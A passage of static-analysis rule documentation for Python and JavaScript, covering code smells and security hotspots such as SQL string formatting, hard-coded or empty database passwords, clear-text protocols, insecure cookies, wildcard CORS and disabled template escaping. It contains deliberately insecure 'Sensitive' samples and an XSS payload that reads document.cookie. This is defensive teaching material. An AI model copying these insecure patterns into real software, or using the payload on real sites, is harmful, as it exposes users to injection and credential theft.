To prevent xxe attacks with xml.sax module (for other security reasons than XXE, xml.sax is not recommended):

parser = xml.sax.make_parser()
myHandler = MyHandler()
parser.setContentHandler(myHandler)
parser.parse("ressources/xxe.xml") # Compliant: in version 3.7.1: The SAX parser no longer processes general external entities by default

parser.setFeature(feature_external_ges, False) # Compliant
parser.parse("ressources/xxe.xml")

See

python:S5747

A bare raise statement, i.e. a raise with no exception provided, will re-raise the last active exception in the current scope. If the "raise" statement is not in an except or finally block, no exception is active and a RuntimeError is raised instead.

If the bare raise statement is in a function called in an except statement, the exception caught by the except will be raised. This works but is hard to understand and maintain. Nothing indicates in the parent except that the exception will be reraised, and nothing prevents a developer from calling the function in another context.

Note also that using a bare raise in a finally block only works when an exception is active, i.e. when an exception from the try block is not caught or when an exception is raised by an except block. It will fail in any other case and should not be relied upon. This code smell is handled by rule S5704.

This rule raises an exception when a bare raise statement is not in an except or finally block.

Noncompliant Code Example

raise  # Noncompliant

def foo():
    raise  # Noncompliant
    try:
        raise  # Noncompliant
    except ValueError as e:
        handle_error()
    except:
        raise
    else:
        raise  # Noncompliant
    finally:
        raise

def handle_error():
    raise  # Noncompliant. This works but is hard to understand.

Compliant Solution

raise ValueError()

def foo():
    raise ValueError()
    try:
        raise ValueError()
    except:
        raise
    else:
        raise ValueError()
    finally:
        raise

See

python:S2757

The use of operators pairs ( =+ or =-) where the reversed, single operator was meant (+= or -=) will run fine, but not produce the expected results.

This rule raises an issue when =+ or =- is used without any spacing between the two operators and when there is at least one whitespace character after.

Noncompliant Code Example

target = -5
num = 3

target =- num  # Noncompliant; target = -3. Is that really what's meant?
target =+ num # Noncompliant; target = 3

Compliant Solution

target = -5
num = 3

target = -num  # Compliant; intent to assign inverse value of num is clear
target += num
python:S2638

Because a subclass instance may be used as an instance of the superclass, overriding methods should uphold the aspects of the superclass contract that relate to the Liskov Substitution Principle. Specifically, an overriding method should be callable with the same parameters as the overriden one.

The following modifications are ok:

* Adding an optional parameter, i.e. with a default value, as long as they don't change the order of positional parameters.

* Renaming a positional-only parameter.

* Reordering keyword-only parameters.

* Adding a default value to an existing parameter.

* Changing the default value of an existing parameter.

* Extend the ways a parameter can be provided, i.e. change a keyword-only or positional-only parameter to a keyword-or-positional parameter. This is only true if the order of positional parameters doesn't change. New positional parameters should be placed at the end.

* Adding a vararg parameter (*args).

* Adding a keywords parameter (**kwargs).

The following modifications are not ok:

* Removing parameters, even when they have default values.

* Adding mandatory parameters, i.e. without a default value.

* Removing the default value of a parameter.

* Reordering parameters, except when they are keyword-only parameters.

* Removing some ways of providing a parameter. If a parameter could be passed as keyword it should still be possible to pass it as keyword, and the same is true for positional parameters.

* Removing a vararg parameter (*args).

* Removing a keywords parameter (**kwargs).

This rule raises an issue when the signature of an overriding method does not accept the same parameters as the overriden one. Only instance methods are considered, class methods and static methods are ignored.

Noncompliant Code Example:

class ParentClass(object):
    def mymethod(self, param1):
        pass

class ChildClassMore(ParentClass):
    def mymethod(self, param1, param2, param3): # Noncompliant * 2.
        # Remove parameter "param2" or provide a default value.
        # Remove parameter "param3" or provide a default value.
        pass

class ChildClassLess(ParentClass):
    def mymethod(self): # Noncompliant. Add missing parameter "param1".
        pass

class ChildClassReordered(ParentClass):
    def mymethod(self, inserted, param1): # Noncompliant
        # Remove parameters "inserted" or provide a default value.
        pass

Compliant Solution:

class ParentClass(object):
    def mymethod(self, param1):
        pass

class ChildClassMore(ParentClass):
    def mymethod(self, param1, param2=None, param3=None):
        pass

class ChildClassLess(ParentClass):
    def mymethod(self, param1=None):
        pass

class ChildClassReordered(ParentClass):
    def mymethod(self, param1, inserted=None):
        pass

Exceptions

In theory renaming parameters also breaks Liskov Substitution Principle. Arguments can't be passed via keyword arguments anymore. However, as PEP-570 says, it is common to rename parameters when it improves code readability and when arguments are always passed by position.

"Positional-Only Parameters" were introduced in python 3.8 to solve this problem. As most programs will need to support older versions of python, this rule won't raise an issue on renamed parameters.

class ParentClass(object):
    def mymethod(self, param1):
        pass

class ChildClassRenamed(ParentClass):
    def mymethod(self, renamed): # No issue but this is suspicious. Rename this parameter as "param1" or use positional only arguments if possible.
        pass

See

* Wikipedia - Liskov substitution principle

* Python Enhancement Proposal (PEP) 3102 - Keyword-Only Arguments

* Python Enhancement Proposal (PEP) 570 - Python Positional-Only Parameters

python:PreIncrementDecrement

Python has no pre/post increment/decrement operator. For instance, x++ and x-- will fail to parse. More importantly, ++x and --x will do nothing. To increment a number, simply write x += 1.

Noncompliant Code Example

++x # Noncompliant

Compliant Solution

x += 1
python:S2077

Formatting strings used as SQL queries is security-sensitive. It has led in the past to the following vulnerabilities:

SQL queries often need to use a hardcoded SQL string with a dynamic parameter coming from a user request. Formatting a string to add those parameters to the request is a bad practice as it can result in an SQL injection. The safe way to add parameters to a SQL query is to use SQL binding mechanisms.

Note that this rule does not detect SQL injections.

This rule flags the execution of formatted SQL via Django APIs. The goal is to guide security code reviews and to prevent a common bad practice.

A string is considered formatted if it uses one of the following operations:

  • str.format(...)
  • str % str
  • str + str
  • f"SELECT * FROM mytable WHERE name = '{value}'"
  • F"SELECT * FROM mytable WHERE name = '{value}'"

Ask Yourself Whether

  • the SQL query is built using string formatting technics, such as concatenating variables.
  • some of the values are coming from an untrusted source and are not sanitized.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

You can also reduce the impact of an attack by using a database account with low privileges.

Sensitive Code Example

from django.db import models
from django.db import connection
from django.db import connections
from django.db.models.expressions import RawSQL

value = input()


class MyUser(models.Model):
    name = models.CharField(max_length=200)


def query_my_user(request, params, value):
    with connection.cursor() as cursor:
        cursor.execute("{0}".format(value))  # Sensitive

    # https://docs.djangoproject.com/en/2.1/ref/models/expressions/#raw-sql-expressions

    RawSQL("select col from %s where mycol = %s and othercol = " + value, ("test",))  # Sensitive

    # https://docs.djangoproject.com/en/2.1/ref/models/querysets/#extra

    MyUser.objects.extra(
        select={
            'mycol':  "select col from sometable here mycol = %s and othercol = " + value}, # Sensitive
           select_params=(someparam,),
        },
    )

Compliant Solution

cursor = connection.cursor(prepared=True)
sql_insert_query = """ select col from sometable here mycol = %s and othercol = %s """

select_tuple = (1, value)

cursor.execute(sql_insert_query, select_tuple) # Compliant, the query is parameterized
connection.commit()

See

python:S1142

Having too many return statements in a function increases the function's essential complexity because the flow of execution is broken each time a return statement is encountered. This makes it harder to read and understand the logic of the function.

Noncompliant Code Example

With the default threshold of 3:

def fun():          # Noncompliant as there are 4 return statements
  if condition1:
    return True
  elif condition2:
    return False
  else:
    return True
  return False
python:S1143

Using return, break or continue in a finally block suppresses the propagation of any unhandled exception which was raised in the try, else or except blocks. It will also ignore their return statements.

SystemExit is raised when sys.exit() is called. KeyboardInterrupt is raised when the user asks the program to stop by pressing interrupt keys. Both exceptions are expected to propagate up until the application stops. It is ok to catch them when a clean-up is necessary but they should be raised again immediately. They should never be ignored.

If you need to ignore every other exception you can simply catch the Exception class. However you should be very careful when you do this as it will ignore other important exceptions such as MemoryError

In python 2 it is possible to raise old style classes. You can use a bare except: statement to catch every exception. Remember to still reraise SystemExit and KeyboardInterrupt.

This rule raises an issue when a jump statement (break, continue, return) would force the control flow to leave a finally block.

Noncompliant Code Example

def find_file_which_contains(expected_content, paths):
    file = None
    for path in paths:
        try:
            # "open" will raise IsADirectoryError if the provided path is a directory but it will be stopped by the  "return" and "continue"
            file = open(path, 'r')
            actual_content = file.read()
        except FileNotFoundError as exception:
            # This exception will never pass the "finally" block because of "return" and "continue"
            raise ValueError(f"'paths' should only contain existing files. File ${path} does not exist.")
        finally:
            file.close()
            if actual_content != expected_content:
                # Note that "continue" is allowed in a "finally" block only since python 3.8
                continue  # Noncompliant. This will prevent exceptions raised by the "try" block and "except" block from raising.
            else:
                return path # Noncompliant. Same as for "continue"
    return None

# This will return None instead of raising ValueError from the "except" block
find_file_which_contains("some content", ["file_which_does_not_exist"])

# This will return None instead of raising IsADirectoryError from the "try" block
find_file_which_contains("some content", ["a_directory"])

import sys

while True:
    try:
        sys.exit(1)
    except (SystemExit) as e:
        print("Exiting")
        raise
    finally:
        break  # This will prevent SystemExit from raising

def continue_whatever_happens_noncompliant():
    for i in range(10):
        try:
            raise ValueError()
        finally:
            continue  # Noncompliant

Compliant Solution

# Note that using "with open(...) as" would be better. We keep the example as is just for demonstration purpose.

def find_file_which_contains(expected_content, paths):
    file = None
    for path in paths:
        try:
            file = open(path, 'r')
            actual_content = file.read()
            if actual_content != expected_content:
                continue
            else:
                return path
        except FileNotFoundError as exception:
            raise ValueError(f"'paths' should only contain existing files. File ${path} does not exist.")
        finally:
            if file:
                file.close()
    return None

# This raises ValueError
find_file_which_contains("some content", ["file_which_does_not_exist"])

# This raises IsADirectoryError
find_file_which_contains("some content", ["a_directory"])

import sys

while True:
    try:
        sys.exit(1)
    except (SystemExit) as e:
        print("Exiting")
        raise # SystemExit is re-raised

import logging

def continue_whatever_happens_compliant():
    for i in range(10):
        try:
            raise ValueError()
        except Exception:
            logging.exception("Failed")  # Ignore all "Exception" subclasses yet allow SystemExit and other important exceptions to pass

See

python:S1144

"Class-Private" methods that are never executed inside their enclosing class are dead code: unnecessary, inoperative code that should be removed. Cleaning out dead code decreases the size of the maintained codebase, making it easier to understand the program and preventing bugs from being introduced.

Python has no real private methods. Every method is accessible. There are however two conventions indicating that a method is not meant to be "public":

  • methods with a name starting with a single underscore (ex: _mymethod) should be seen as non-public and might change without prior notice. They should not be used by third-party libraries or software. It is ok to use those methods inside the library defining them but it should be done with caution.
  • "class-private" methods have a name which starts with at least two underscores and ends with at most one underscore. These methods' names will be automatically mangled to avoid collision with subclasses' methods. For example __mymethod will be renamed as _classname__mymethod, where classname is the method's class name without its leading underscore(s). These methods shouldn't be used outside of their enclosing class.

This rule raises an issue when a class-private method (two leading underscores, max one underscore at the end) is never called inside the class. Class methods, static methods and instance methods will all raise an issue.

Noncompliant Code Example

class Noncompliant:

    @classmethod
    def __mangled_class_method(cls):  # Noncompliant
        print("__mangled_class_method")

    @staticmethod
    def __mangled_static_method():  # Noncompliant
        print("__mangled_static_method")

    def __mangled_instance_method(self):  # Noncompliant
        print("__mangled_instance_method")

Compliant Solution

class Compliant:

    def __init__(self):
        Compliant.__mangled_class_method()
        Compliant.__mangled_static_method()
        self.__mangled_instance_method()

    @classmethod
    def __mangled_class_method(cls):
        print("__mangled_class_method")

    @staticmethod
    def __mangled_static_method():
        print("__mangled_static_method")

    def __mangled_instance_method(self):
        print("__mangled_instance_method")

See

python:S1542

Shared coding conventions allow teams to collaborate efficiently. This rule checks that all function names match a provided regular expression.

Noncompliant Code Example

With the default provided regular expression: ^[a-z_][a-z0-9_]*$

def MyFunction(a,b):
    ...

Compliant Solution

def my_function(a,b):
    ...
python:S5864

Checking that variable X has type T with type annotations implies that X's value is of type T or a subtype of T. After such a check, it is a good practice to limit actions on X to those allowed by type T, even if a subclass of T allows different actions. Doing otherwise will confuse your fellow developers.

Just to be clear, it is common in python to perform an action without checking first if it is possible (see "Easier to ask for forgiveness than permission."). However when type checks are performed, they should not contradict the following actions.

This rule raises an issue when an action performed on a variable might be possible, but it contradicts a previous type check. The list of checked actions corresponds to rules S2159, S3403, S5607, S5756, S5644, S3862, S5797, S5795 and S5632. These other rules only detect cases where the type of a variable is certain, i.e. it cannot be a subclass.

Noncompliant Code Example

def add_the_answer(param: str):
    return param + 42  # Noncompliant. Fix this "+" operation; Type annotation on "param" suggest that operands have incompatible types.
    # Note: In practice it is possible to create a class inheriting from both "str" and "int", but this would be a very confusing design.

Compliant Solution

def add_the_answer(param: str):
    return param + "42"

See

python:S2115

Databases should always be password protected. The use of a database connection with an empty password is a clear indication of a database that is not protected.

This rule flags database connections with empty passwords.

Noncompliant Code Example

Flask-SQLAlchemy

def configure_app(app):
    app.config['SQLALCHEMY_DATABASE_URI'] = "postgresql://user:@domain.com" # Noncompliant

Django

# settings.py

DATABASES = {
    'postgresql_db': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'quickdb',
        'USER': 'sonarsource',
        'PASSWORD': '', # Noncompliant
        'HOST': 'localhost',
        'PORT': '5432'
    }
}

mysql/mysql-connector-python

from mysql.connector import connection

connection.MySQLConnection(host='localhost', user='sonarsource', password='')  # Noncompliant

Compliant Solution

Flask-SQLAlchemy

def configure_app(app, pwd):
    app.config['SQLALCHEMY_DATABASE_URI'] = f"postgresql://user:{pwd}@domain.com" # Compliant

Django

# settings.py
import os

DATABASES = {
    'postgresql_db': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'quickdb',
        'USER': 'sonarsource',
        'PASSWORD': os.getenv('DB_PASSWORD'),      # Compliant
        'HOST': 'localhost',
        'PORT': '5432'
    }
}

mysql/mysql-connector-python

from mysql.connector import connection
import os

db_password = os.getenv('DB_PASSWORD')
connection.MySQLConnection(host='localhost', user='sonarsource', password=db_password)  # Compliant

See

python:S108

Most of the time a block of code is empty when a piece of code is really missing. So such empty block must be either filled or removed.

Noncompliant Code Example

for i in range(3):
    pass

Exceptions

When a block contains a comment, this block is not considered to be empty.

python:S107

A long parameter list can indicate that a new structure should be created to wrap the numerous parameters or that the function is doing too many things.

Noncompliant Code Example

With a maximum number of 4 parameters:

def do_something(param1, param2, param3, param4, param5):
	...

Compliant Solution

def do_something(param1, param2, param3, param4):
	...

Exceptions

The first argument of non-static methods, i.e. self or cls, is not counted as it is mandatory and it is passed automatically.

python:S104

A source file that grows too much tends to aggregate too many responsibilities and inevitably becomes harder to understand and therefore to maintain. Above a specific threshold, it is strongly advised to refactor it into smaller pieces of code which focus on well defined tasks. Those smaller files will not only be easier to understand but also probably easier to test.

python:S905

Any statement, other than a pass, ... (ellipsis) or an empty statement (i.e. a single semicolon ";"), which has no side effect and does not result in a change of control flow will normally indicate a programming error, and therefore should be refactored.

Noncompliant Code Example

a == 1 # Noncompliant; was assignment intended?
a < b # Noncompliant; have we forgotten to assign the result to a variable?

Exceptions

Strings

Some projects use string literals as comments. By default, this rule will not raise an issue on these strings. Reporting on string literals can be enabled by setting the rule parameter "reportOnStrings" to "true".

class MyClass:
    myattr = 42
    """This is an attribute"""  # Noncompliant by default. Set "reportOnStrings" to "false"

Operators

By default, this rule considers that no arithmetic operator has a side effect. Some rare projects redefine operators and add a side effect. You can list such operators in the rule parameter "ignoredOperators".

def process(p, beam):
    """
    Apache Beam redefines "|" and ">>" operators and they have a side effect.
    Thus for Apache Beam projects "ignoredOperators"should be set to "|,>>"
    """
    p | "create" >> beam.Create()  # Noncompliant by default

See

python:S1656

There is no reason to re-assign a variable to itself. Either this statement is redundant and should be removed, or the re-assignment is a mistake and some other value or variable was intended for the assignment instead.

Noncompliant Code Example

name = name

Compliant Solution

name = other.name

See

  • CERT, MSC12-C. - Detect and remove code that has no effect or is never executed
python:LineLength

Having to scroll horizontally makes it harder to get a quick overview and understanding of any piece of code.

python:ParsingError

When the Python parser fails, it is possible to record the failure as a violation on the file. This way, not only it is possible to track the number of files that do not parse but also to easily find out why they do not parse.

python:BackticksUsage

Backticks are a deprecated alias for repr(). Don't use them any more, the syntax was removed in Python 3.0.

Noncompliant Code Example

return `num`  # Noncompliant

Compliant Solution

return repr(num)
python:S4487

Private attributes which are written but never read are a clear case of dead store. Changing their value is useless and most probably indicates a serious error in the code.

Python has no real private attribute. Every attribute is accessible. There are however two conventions indicating that an attribute is not meant to be "public":

  • attributes with a name starting with a single underscore (ex: _myattribute) should be seen as non-public and might change without prior notice. They should not be used by third-party libraries or software. It is ok to use those methods inside the library defining them but it should be done with caution.
  • "class-private" attributes have a name which starts with at least two underscores and ends with at most one underscore. These attribute's names will be automatically mangled to avoid collision with subclasses' attributes. For example __myattribute will be renamed as _classname__myattribute, where classname is the attribute's class name without its leading underscore(s). They shouldn't be used outside of the class defining the attribute.

This rule raises an issue when a class-private attribute (two leading underscores, max one underscore at the end) is never read inside the class. It optionally raises an issue on unread attributes prefixed with a single underscore. Both class attribute and instance attributes will raise an issue.

Noncompliant Code Example

class Noncompliant:
    _class_attr = 0  # Noncompliant if enable_single_underscore_issues is enabled
    __mangled_class_attr = 1  # Noncompliant

    def __init__(self, value):
        self._attr = 0  # Noncompliant if enable_single_underscore_issues is enabled
        self.__mangled_attr = 1  # Noncompliant

    def compute(self, x):
        return x * x

Compliant Solution

class Compliant:
    _class_attr = 0
    __mangled_class_attr = 1

    def __init__(self, value):
        self._attr = 0
        self.__mangled_attr = 1

    def compute(self, x):
        return x * Compliant._class_attr * Compliant.__mangled_class_attr * self._attr * self.__mangled_attr

See

python:S112

Raising instances of Exception and BaseException will have a negative impact on any code trying to catch these exceptions.

First, the only way to handle differently multiple Exceptions is to check their message, which is error-prone and difficult to maintain.

What's more, it becomes difficult to catch only your exception. The best practice is to catch only exceptions which require a specific handling. When you raise Exception or BaseException in a function the caller will have to add an except Exception or except BaseException and re-raise all exceptions which were unintentionally caught. This can create tricky bugs when the caller forgets to re-raise exceptions such as SystemExit and the software cannot be stopped.

It is recommended to either:

  • raise a more specific Built-in exception when one matches. For example TypeError should be raised when the type of a parameter is not the one expected.
  • create a custom exception class deriving from Exception or one of its subclasses. A common practice for libraries is to have one custom root exception class from which every other custom exception class inherits. It enables other projects using this library to catch all errors coming from the library with a single "except" statement

This rule raises an issue when Exception or BaseException are raised.

Noncompliant Code Example

def process1():
    raise BaseException("Wrong user input for field X")  # Noncompliant

def process2():
    raise BaseException("Wrong configuration")  # Noncompliant

def process3(param):
    if not isinstance(param, int):
        raise Exception("param should be an integer")  # Noncompliant

def caller():
    try:
         process1()
         process2()
         process3()
    except BaseException as e:
        if e.args[0] == "Wrong user input for field X":
            # process error
            pass
        elif e.args[0] == "Wrong configuration":
            # process error
            pass
        else:
            # re-raise other exceptions
            raise

Compliant Solution

class MyProjectError(Exception):
    """Exception class from which every exception in this library will derive.
         It enables other projects using this library to catch all errors coming
         from the library with a single "except" statement
    """
    pass

class BadUserInputError(MyProjectError):
    """A specific error"""
    pass

class ConfigurationError(MyProjectError):
    """A specific error"""
    pass

def process1():
    raise BadUserInputError("Wrong user input for field X")

def process2():
    raise ConfigurationError("Wrong configuration")

def process3(param):
    if not isinstance(param, int):
        raise TypeError("param should be an integer")

def caller():
    try:
         process1()
         process2()
         process3()
    except BadUserInputError as e:
        # process error
        pass
    except ConfigurationError as e:
        # process error
        pass

See

See

python:S1131

Trailing whitespaces are simply useless and should not stay in code. They may generate noise when comparing different versions of the same file.

If you encounter issues from this rule, this probably means that you are not using an automated code formatter - which you should if you have the opportunity to do so.

python:S5332

Clear-text protocols as ftp, telnet or non secure http are lacking encryption of transported data. They are also missing the capability to build an authenticated connection. This mean that any attacker who can sniff traffic from the network can read, modify or corrupt the transported content. These protocol are not secure as they expose applications to a large range of risk:

  • Sensitive data exposure
  • Traffic redirected to a malicious endpoint
  • Malware infected software update or installer
  • Execution of client side code
  • Corruption of critical information

Note also that using the http protocol is being deprecated by major web browser.

In the past, it has led to the following vulnerabilities:

Ask Yourself Whether

  • The confidentiality and integrity of data is necessary in the context of the web application.
  • The data is exchanged on an exposed network (Internet, public network etc).

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Use ssh as an alternative to telnet
  • Use sftp, scp or ftps instead of ftp
  • Use https instead of http
  • Use SMTP over SSL/TLS or SMTP with STARTTLS instead of clear-text SMTP

It is recommended to secure all transport channels (event local network) as it can take a single non secure connection to compromise an entire application or system.

Sensitive Code Example

url = "http://example.com" # Sensitive
url = "ftp://anonymous@example.com" # Sensitive
url = "telnet://anonymous@example.com" # Sensitive

import telnetlib
cnx = telnetlib.Telnet("towel.blinkenlights.nl") # Sensitive

import ftplib
cnx = ftplib.FTP("ftp.example.com") # Sensitive

import smtplib
smtp = smtplib.SMTP("smtp.example.com", port=587) # Sensitive

Compliant Solution

url = "https://example.com" # Compliant
url = "sftp://anonymous@example.com" # Compliant
url = "ssh://anonymous@example.com" # Compliant

import ftplib
cnx = ftplib.FTP_TLS("ftp.example.com") # Compliant

import smtplib
smtp = smtplib.SMTP("smtp.example.com", port=587) # Compliant
smtp.starttls(context=context)

smtp_ssl = smtplib.SMTP_SSL("smtp.gmail.com", port=465) # Compliant

Exceptions

No issue is reported for the following cases because they are not considered sensitive:

  • Insecure protocol scheme followed by loopback addresses like 127.0.0.1 or localhost

See

python:S2068

Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.

In the past, it has led to the following vulnerabilities:

Credentials should be stored outside of the code in a configuration file, a database or secret management service.

This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.

It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...

Ask Yourself Whether

  • Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
  • Credentials are used in production environments.
  • Application re-distribution is required before updating the credentials.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • Store the credentials in a configuration file that is not pushed to the code repository.
  • Store the credentials in a database.
  • Use the secret management service of you cloud provider.
  • If the a password has been disclosed through the source code: change it.

Sensitive Code Example

username = 'admin'
password = 'admin' # Sensitive
usernamePassword = 'user=admin&password=admin' # Sensitive

Compliant Solution

import os

username = os.getenv("username") # Compliant
password = os.getenv("password") # Compliant
usernamePassword = 'user=%s&password=%s' % (username, password) # Compliant{code}

See

python:S1134

FIXME tags are commonly used to mark places where a bug is suspected, but which the developer wants to deal with later.

Sometimes the developer will not have the time or will simply forget to get back to that tag.

This rule is meant to track those tags and to ensure that they do not go unnoticed.

Noncompliant Code Example

def divide(numerator, denominator):
  return numerator / denominator              # FIXME denominator value might be 0

See

common-css:InsufficientBranchCoverage
An issue is created on a file as soon as the branch coverage on this file is less than the required threshold. It gives the number of branches to be covered in order to reach the required threshold.
common-css:InsufficientLineCoverage
An issue is created on a file as soon as the line coverage on this file is less than the required threshold. It gives the number of lines to be covered in order to reach the required threshold.
common-css:InsufficientCommentDensity
An issue is created on a file as soon as the density of comment lines on this file is less than the required threshold. The number of comment lines to be written in order to reach the required threshold is provided by each issue message.
common-css:DuplicatedBlocks
An issue is created on a file as soon as there is at least one block of duplicated code on this file
common-css:SkippedUnitTests
Skipped unit tests are considered as dead code. Either they should be activated again (and updated) or they should be removed.
common-css:FailedUnitTests
Test failures or errors generally indicate that regressions have been introduced. Those tests should be handled as soon as possible to reduce the cost to fix the corresponding regressions.
javascript:S2092

When a cookie is protected with the secure attribute set to true it will not be send by the browser over an unencrypted HTTP request and thus cannot be observed by an unauthorized person during a man-in-the-middle attack.

Ask Yourself Whether

  • the cookie is for instance a session-cookie not designed to be sent over non-HTTPS communication.
  • it's not sure that the website contains mixed content or not (ie HTTPS everywhere or not)

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • It is recommended to use HTTPs everywhere so setting the secure flag to true should be the default behaviour when creating cookies.
  • Set the secure flag to true for session-cookies.

Sensitive Code Example

cookie-session module:

let session = cookieSession({
  secure: false,// Sensitive
});  // Sensitive

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    secure: false // Sensitive
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  secure: false // Sensitive
}); // Sensitive

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { secure: false }}); // Sensitive

Compliant Solution

cookie-session module:

let session = cookieSession({
  secure: true,// Compliant
});  // Compliant

express-session module:

const express = require('express');
const session = require('express-session');

let app = express();
app.use(session({
  cookie:
  {
    secure: true // Compliant
  }
}));

cookies module:

let cookies = new Cookies(req, res, { keys: keys });

cookies.set('LastVisit', new Date().toISOString(), {
  secure: true // Compliant
}); // Compliant

csurf module:

const cookieParser = require('cookie-parser');
const csrf = require('csurf');
const express = require('express');

let csrfProtection = csrf({ cookie: { secure: true }}); // Compliant

See

javascript:S5122

Having a permissive Cross-Origin Resource Sharing policy is security-sensitive. It has led in the past to the following vulnerabilities:

Same origin policy in browsers prevents, by default and for security-reasons, a javascript frontend to perform a cross-origin HTTP request to a resource that has a different origin (domain, protocol, or port) from its own. The requested target can append additional HTTP headers in response, called CORS, that act like directives for the browser and change the access control policy / relax the same origin policy.

Ask Yourself Whether

  • You don't trust the origin specified, example: Access-Control-Allow-Origin: untrustedwebsite.com.
  • Access control policy is entirely disabled: Access-Control-Allow-Origin: *
  • Your access control policy is dynamically defined by a user-controlled input like origin header.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

  • The Access-Control-Allow-Origin header should be set only for a trusted origin and for specific resources.
  • Allow only selected, trusted domains in the Access-Control-Allow-Origin header. Prefer whitelisting domains over blacklisting or allowing any domain (do not use * wildcard nor blindly return the Origin header content without any checks).

Sensitive Code Example

nodejs http built-in module:

const http = require('http');
const srv = http.createServer((req, res) => {
  res.writeHead(200, { 'Access-Control-Allow-Origin': '*' }); // Sensitive
  res.end('ok');
});
srv.listen(3000);

Express.js framework with cors middleware:

const cors = require('cors');

let app1 = express();
app1.use(cors()); // Sensitive: by default origin is set to *

let corsOptions = {
  origin: '*' // Sensitive
};

let app2 = express();
app2.use(cors(corsOptions));

Compliant Solution

nodejs http built-in module:

const http = require('http');
const srv = http.createServer((req, res) => {
  res.writeHead(200, { 'Access-Control-Allow-Origin': 'trustedwebsite.com' }); // Compliant
  res.end('ok');
});
srv.listen(3000);

Express.js framework with cors middleware:

const cors = require('cors');

let corsOptions = {
  origin: 'trustedwebsite.com' // Compliant
};

let app = express();
app.use(cors(corsOptions));

See

javascript:S4275

Getters and setters provide a way to enforce encapsulation by providing public methods that give controlled access to private fields. However in classes with multiple fields it is not unusual that copy and paste is used to quickly create the needed getters and setters, which can result in the wrong field being accessed by a getter or setter.

This rule raises an issue in any of these cases:

  • A setter does not update the field with the corresponding name.
  • A getter does not access the field with the corresponding name.

Noncompliant Code Example

class A {
  private _x: number = 0;
  private y: number = 0;

  public get x() {  // Noncompliant: field 'x' is not used in the return value
    return this.y;
  }

  public setX(val: number) { // Noncompliant: field 'x' is not updated
    this.y = val;
  }

  public getY() { // Noncompliant: field 'y' is not used in the return value
    return this.x;
  }
}

Compliant Solution

class A {
  private _x: number = 0;
  private y: number = 0;

  public get x() {
    return this._x;
  }

  public setX(val: number) {
    this.x = val;
  }

  public getY() {
    return this.y;
  }
}
javascript:S4030

When a collection is populated but its contents are never used, then it is surely some kind of mistake. Either refactoring has rendered the collection moot, or an access is missing.

This rule raises an issue when no methods are called on a collection other than those that add or remove values.

Noncompliant Code Example

function getLength(a, b, c) {
  const strings = [];  // Noncompliant
  strings.push(a);
  strings.push(b);
  strings.push(c);

  return a.length + b.length + c.length;
}

Compliant Solution

function getLength(a, b, c) {
  return a.length + b.length + c.length;
}
javascript:S3504

ECMAScript 2015 introduced the let and const keywords for block-scope variable declaration. Using const creates a read-only (constant) variable.

The distinction between the variable types created by var and by let is significant, and a switch to let will help alleviate many of the variable scope issues which have caused confusion in the past.

Because these new keywords create more precise variable types, they are preferred in environments that support ECMAScript 2015. However, some refactoring may be required by the switch from var to let, and you should be aware that they raise SyntaxErrors in pre-ECMAScript 2015 environments.

This rule raises an issue when var is used instead of const or let.

Noncompliant Code Example

var color = "blue";
var size = 4;

Compliant Solution

const color = "blue";
let size = 4;
javascript:S3626

Jump statements, such as return, break and continue let you change the default flow of program execution, but jump statements that direct the control flow to the original direction are just a waste of keystrokes.

Noncompliant Code Example

function redundantJump(x) {
  if (x == 1) {
    console.log("x == 1");
    return; // Noncompliant
  }
}

Compliant Solution

function redundantJump(x) {
  if (x == 1) {
    console.log("x == 1");
  }
}

Exceptions

break and return inside switch statement are ignored, because they are often used for consistency. continue with label is also ignored, because label is usually used for clarity. Also a jump statement being a single statement in a block is ignored.

javascript:S5247

To reduce the risk of cross-site scripting attacks, templating systems, such as Twig, Django, Smarty, Groovy's template engine, allow configuration of automatic variable escaping before rendering templates. When escape occurs, characters that make sense to the browser (eg: <a>) will be transformed/replaced with escaped/sanitized values (eg: & lt;a& gt; ).

Auto-escaping is not a magic feature to annihilate all cross-site scripting attacks, it depends on the strategy applied and the context, for example a "html auto-escaping" strategy (which only transforms html characters into html entities) will not be relevant when variables are used in a html attribute because ':' character is not escaped and thus an attack as below is possible:

<a href="{{ myLink }}">link</a> // myLink = javascript:alert(document.cookie)
<a href="javascript:alert(document.cookie)">link</a> // JS injection (XSS attack)

Ask Yourself Whether

  • Templates are used to render web content and
    • dynamic variables in templates come from untrusted locations or are user-controlled inputs
    • there is no local mechanism in place to sanitize or validate the inputs.

There is a risk if you answered yes to any of those questions.

Recommended Secure Coding Practices

Enable auto-escaping by default and continue to review the use of inputs in order to be sure that the chosen auto-escaping strategy is the right one.

Sensitive Code Example

mustache.js template engine:

let Mustache = require("mustache");

Mustache.escape = function(text) {return text;}; // Sensitive

let rendered = Mustache.render(template, { name: inputName });

handlebars.js template engine:

const Handlebars = require('handlebars');

let source = "<p>attack {{name}}</p>";

let template = Handlebars.compile(source, { noEscape: true }); // Sensitive

markdown-it markup language parser:

const markdownIt = require('markdown-it');
let md = markdownIt({
  html: true // Sensitive
});

let result = md.render('# <b>attack</b>');

marked markup language parser:

const marked = require('marked');

marked.setOptions({
  renderer: new marked.Renderer(),
  sanitize: false // Sensitive
});

console.log(marked("# test <b>attack/b>"));

kramed markup language parser:

let kramed = require('kramed');

var options = {
  renderer: new kramed.Renderer({
    sanitize: false // Sensitive
  })
};

Compliant Solution

mustache.js template engine:

let Mustache = require("mustache");

let rendered = Mustache.render(template, { name: inputName }); // Compliant autoescaping is on by default

handlebars.js template engine:

const Handlebars = require('handlebars');

let source = "<p>attack {{name}}</p>";
